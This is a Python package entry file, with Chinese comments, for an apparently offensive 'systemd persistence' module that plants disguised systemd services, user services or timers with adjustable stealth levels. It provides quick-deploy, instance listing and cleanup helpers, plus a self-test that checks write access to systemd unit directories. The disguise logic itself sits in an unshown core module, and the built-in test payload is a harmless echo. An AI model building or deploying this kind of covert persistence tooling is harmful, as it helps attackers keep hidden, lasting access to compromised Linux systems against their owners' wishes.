#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Systemd权限维持子模块
提供基于systemd服务的权限维持功能
"""

from .core import SystemdPersistenceModule, get_module

# 模块信息
__version__ = "1.0.0"
__author__ = "privilege-maDev Team"
__description__ = "Systemd服务伪装权限维持模块"

# 导出的类和函数
__all__ = [
    'SystemdPersistenceModule',
    'get_module'
]

# 模块元数据
MODULE_INFO = {
    'name': 'systemd',
    'version': __version__,
    'description': __description__,
    'author': __author__,
    'supported_platforms': ['linux'],
    'persistence_methods': [
        'systemd_service',
        'systemd_user_service',
        'systemd_timer'
    ],
    'stealth_levels': list(range(1, 11)),
    'dependencies': ['systemd', 'systemctl']
}

def create_module():
    """创建systemd权限维持模块实例"""
    return SystemdPersistenceModule()

def get_module_info():
    """获取模块信息"""
    return MODULE_INFO

def is_available():
    """检查模块是否可用"""
    try:
        import subprocess
        import os
        
        # 检查是否为Linux系统
        if os.name != 'posix':
            return False
        
        # 检查systemctl命令是否可用
        result = subprocess.run(['which', 'systemctl'], 
                              capture_output=True, text=True)
        if result.returncode != 0:
            return False
        
        # 检查systemd是否运行
        result = subprocess.run(['systemctl', 'is-system-running'], 
                              capture_output=True, text=True)
        # systemd可能返回degraded状态，这也是可接受的
        return result.returncode == 0 or 'degraded' in result.stdout
        
    except Exception:
        return False

# 快捷函数
def deploy_systemd_persistence(payload, stealth_level=5):
    """快捷部署systemd权限维持"""
    from ..base import PersistenceConfig
    
    module = create_module()
    config = PersistenceConfig(
        payload=payload,
        stealth_level=stealth_level
    )
    
    return module.deploy(config)

def list_systemd_instances():
    """列出所有systemd权限维持实例"""
    module = create_module()
    return module.list_instances()

def cleanup_all_systemd():
    """清理所有systemd权限维持实例"""
    module = create_module()
    return module.cleanup_all_instances()

# 模块自检
def self_test():
    """模块自检"""
    results = {
        'module_available': is_available(),
        'platform_supported': False,
        'systemd_available': False,
        'permissions_ok': False
    }
    
    try:
        module = create_module()
        results['platform_supported'] = module.is_platform_supported()
        
        # 检查systemd可用性
        import subprocess
        result = subprocess.run(['systemctl', '--version'], 
                              capture_output=True, text=True)
        results['systemd_available'] = result.returncode == 0
        
        # 检查权限（尝试访问systemd目录）
        import os
        results['permissions_ok'] = (
            os.access('/etc/systemd/system/', os.W_OK) or
            os.access(os.path.expanduser('~/.config/systemd/user/'), os.W_OK)
        )
        
    except Exception as e:
        results['error'] = str(e)
    
    return results

if __name__ == "__main__":
    # 模块测试
    print("=== Systemd权限维持模块测试 ===")
    print(f"模块信息: {get_module_info()}")
    print(f"模块可用性: {is_available()}")
    print(f"自检结果: {self_test()}")
    
    if is_available():
        print("\n测试模块功能...")
        
        # 创建测试配置
        test_payload = "echo 'systemd test' > /tmp/systemd_test.log"
        
        # 部署测试
        result = deploy_systemd_persistence(test_payload, stealth_level=3)
        print(f"部署结果: {result}")
        
        if result.success:
            # 列出实例
            instances = list_systemd_instances()
            print(f"实例列表: {instances}")
            
            # 清理测试
            cleanup_result = cleanup_all_systemd()
            print(f"清理结果: {cleanup_result}")
    else:
        print("模块不可用，跳过功能测试")